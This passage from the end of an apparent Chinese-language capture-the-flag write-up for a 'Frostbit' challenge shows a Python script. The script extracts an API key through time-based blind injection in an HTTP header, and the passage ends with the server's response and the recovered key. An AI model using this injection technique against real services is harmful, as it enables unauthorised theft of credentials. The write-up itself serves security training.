    if c not in ['*','+','.','?','|', '#', '&', '$', '\n', '\r', '\t', "'", '/', ';', '\\', '`' ]:
        header = {"x-api-key": f"lala' OR (SUBSTRING(doc.deactivate_api_key, {count}, 1) == '{c}' AND SLEEP(10)) OR '"}
        r = requests.get(u, headers=header)
        print(f"Going with f{header} (current password = {key})")
        if not 'Invalid' in r.text:
            print("\n\n"+r.text+"\n\n")
        if 'Timeout' in r.text:
            key += c
            print(f"Found one more char : {key+c}, current password = {key}")
            count += 1

过了一段时间,拿到了旗标:

Frostbit挑战截图

{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"0769cce0-369a-40c6-8350-870af7e77eb6\",\"hash\":\"68cbe75d67de763247f727ff2685d3334e665a04f1419125636fd3bddac77bbf\",\"uid\":\"54041\"}\nPOSTED WIN RESULTS FOR RID 0769cce0-369a-40c6-8350-870af7e77eb6","status":"Deactivated"}

X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91


今年就到这里!